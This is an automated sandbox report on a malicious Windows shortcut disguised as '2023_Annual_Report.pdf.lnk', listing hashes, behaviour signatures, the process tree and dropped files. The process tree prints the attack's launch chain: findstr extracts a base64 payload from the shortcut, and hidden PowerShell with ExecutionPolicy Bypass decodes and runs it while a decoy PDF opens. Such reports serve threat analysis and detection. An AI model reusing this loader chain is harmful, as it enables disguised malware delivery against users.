Analysis

  • max time kernel
    1313s
  • max time network
    1320s
  • platform
    windows11-21h2_x64
  • resource
    win11-20231215-en
  • resource tags

    arch:x64arch:x86image:win11-20231215-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    23-12-2023 21:43

General

  • Target

    2023_Annual_Report.pdf.lnk

  • Size

    55KB

  • MD5

    bbc4414d76d1a765f3d525556f616ef9

  • SHA1

    c73e28d87fbbc8be79ed1d421e78a41c29111a86

  • SHA256

    86f504dea07fd952253904c468d83d9014a290e1ff5f2d103059638e07d14b09

  • SHA512

    2a7204e361ace1c5c03bc240b985d09cc1f1e67dce025dca5ac9d450bc7193e456d3602ab557abd9bd7ec4d96815e41df06cdce9359379b32c0e777aa9d54be7

  • SSDEEP

    768:NLoFJQeDHeGYyhA5Z7JsCVResXebqwVCYm7/k/m7RU6d/dwiuGIjsZL2RxcNRyxc:NLBWYX5Z7JsCVCbqECB7cOm0OoxUURV

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 24 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\2023_Annual_Report.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2572
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk > "C:\Users\Admin\AppData\Local\Temp\Temp.jpg" & start /B pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5916
      • C:\Windows\system32\findstr.exe
        findstr /R "CiRFcnJvckFjdGlvbl" 2023_Annual_Report.pdf.lnk
        3⤵
          PID:5200
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          pOwERsHElL -windowstyle hidden -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -c "[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String((Get-Content "C:\Users\Admin\AppData\Local\Temp\Temp.jpg"))) | POwERsHElL"
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:6008
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
            4⤵
            • Blocklisted process makes network request
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1960
            • C:\Windows\system32\findstr.exe
              "C:\Windows\system32\findstr.exe" /R JVBERi0xLjcNJeLjz9 2023_Annual_Report.pdf.lnk
              5⤵
                PID:4548
              • C:\Windows\system32\attrib.exe
                "C:\Windows\system32\attrib.exe" +h C:\Users\Admin\Temp.jpg
                5⤵
                • Views/modifies file attributes
                PID:224
              • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
                "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Important.pdf"
                5⤵
                • Checks processor information in registry
                • Modifies Internet Explorer settings
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:2832
                • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                  "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3120
                  • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=84E86AA7F2A1AF256F0CAE3CABA7D62B --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=84E86AA7F2A1AF256F0CAE3CABA7D62B --renderer-client-id=2 --mojo-platform-channel-handle=1748 --allow-no-sandbox-job /prefetch:1
                    7⤵
                      PID:5500
                    • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=ECBE091FD842E6A1E45E214BE47CB189 --mojo-platform-channel-handle=1828 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                      7⤵
                        PID:5780
                      • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=5B8703FDD5344672C6FAA397DD20FD47 --mojo-platform-channel-handle=2360 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                        7⤵
                          PID:428
                        • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                          "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3677EFB195EB9E9DEDD0DA4633FE2464 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3677EFB195EB9E9DEDD0DA4633FE2464 --renderer-client-id=5 --mojo-platform-channel-handle=1980 --allow-no-sandbox-job /prefetch:1
                          7⤵
                            PID:1352
                          • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                            "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=2C82C40C0BD9E82DB3C966B567A6967C --mojo-platform-channel-handle=2604 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                            7⤵
                              PID:5288
                            • C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
                              "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=8489DF240A810A0865DEEA5C020615EF --mojo-platform-channel-handle=2692 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
                              7⤵
                                PID:4012
                  • C:\Windows\System32\CompPkgSrv.exe
                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                    1⤵
                      PID:2632

                    Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                      Filesize

                      64KB

                      MD5

                      a615bce9aa4d5ae1330764ed85b7b0ee

                      SHA1

                      4de2c916ec792cab332b8d735776c01a2f1f78c1

                      SHA256

                      41e0bd5da8334012c85b13fc1e563a91b832b65c64991175e51a12cc07ad2da9

                      SHA512

                      7fa08d4347e66aa4bb56b9cd1f29a736d05f0bc480356325aa2e68d67610e7ae5bf828a76ed7bb6b0f7253bb35f3cf4e75f5b12a7d97847742554b1dee602989

                    • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                      Filesize

                      36KB

                      MD5

                      b30d3becc8731792523d599d949e63f5

                      SHA1

                      19350257e42d7aee17fb3bf139a9d3adb330fad4

                      SHA256

                      b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

                      SHA512

                      523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

                    • C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

                      Filesize

                      56KB

                      MD5

                      752a1f26b18748311b691c7d8fc20633

                      SHA1

                      c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

                      SHA256

                      111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

                      SHA512

                      a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

                    • C:\Users\Admin\AppData\Local\Temp\Important.pdf

                      Filesize

                      35KB

                      MD5

                      76f18bc1e745e59e37141f2a9d336f6f

                      SHA1

                      289c50c79786a9e3ce559e7b6246305c26aa1082

                      SHA256

                      84f026998c5a547c8cc3ba8d86d3425097c501ae85a207c121288f6c1cf72710

                      SHA512

                      8b7c74ec13e4b8fc6c7cdb6ee161b203f99cf671ff72487bdce12f5d8c1ff73939bb31d6065fc1fcb41caa00ae07d8fab618848ec5f67748899586e498da496f

                    • C:\Users\Admin\AppData\Local\Temp\Temp.jpg

                      Filesize

                      7KB

                      MD5

                      50514f94115e319477095fbefa61257e

                      SHA1

                      004b3b8e4ace16db6fc954c10decf8856617ef12

                      SHA256

                      4339e02a2557b36934baf68b6e97daae04a3e118da2a66915e6200579594d8c6

                      SHA512

                      47f6a6f52e02cb7365e70e1637ad0f6e4c96c6f156ad794f3583eb8cbf1dc9af3b8a921ca2c754c2636bba2c2c6991204930502d171b2b41b72af78bfb7e2a49

                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kxp4fu0.ah4.ps1

                      Filesize

                      60B

                      MD5

                      d17fe0a3f47be24a6453e9ef58c94641

                      SHA1

                      6ab83620379fc69f80c0242105ddffd7d98d5d9d

                      SHA256

                      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                      SHA512

                      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                    • memory/1960-63-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1960-14-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/1960-20-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1960-24-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1960-25-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1960-26-0x00000262BA880000-0x00000262BA8C6000-memory.dmp

                      Filesize

                      280KB

                    • memory/1960-177-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1960-144-0x00000262BA490000-0x00000262BA4A0000-memory.dmp

                      Filesize

                      64KB

                    • memory/1960-76-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/6008-56-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/6008-67-0x000002876F540000-0x000002876F550000-memory.dmp

                      Filesize

                      64KB

                    • memory/6008-9-0x000002876F540000-0x000002876F550000-memory.dmp

                      Filesize

                      64KB

                    • memory/6008-75-0x000002876F540000-0x000002876F550000-memory.dmp

                      Filesize

                      64KB

                    • memory/6008-62-0x000002876F540000-0x000002876F550000-memory.dmp

                      Filesize

                      64KB

                    • memory/6008-10-0x000002876F540000-0x000002876F550000-memory.dmp

                      Filesize

                      64KB

                    • memory/6008-12-0x000002876F540000-0x000002876F550000-memory.dmp

                      Filesize

                      64KB

                    • memory/6008-8-0x00007FFDCCE30000-0x00007FFDCD8F2000-memory.dmp

                      Filesize

                      10.8MB

                    • memory/6008-11-0x000002876F550000-0x000002876F572000-memory.dmp

                      Filesize

                      136KB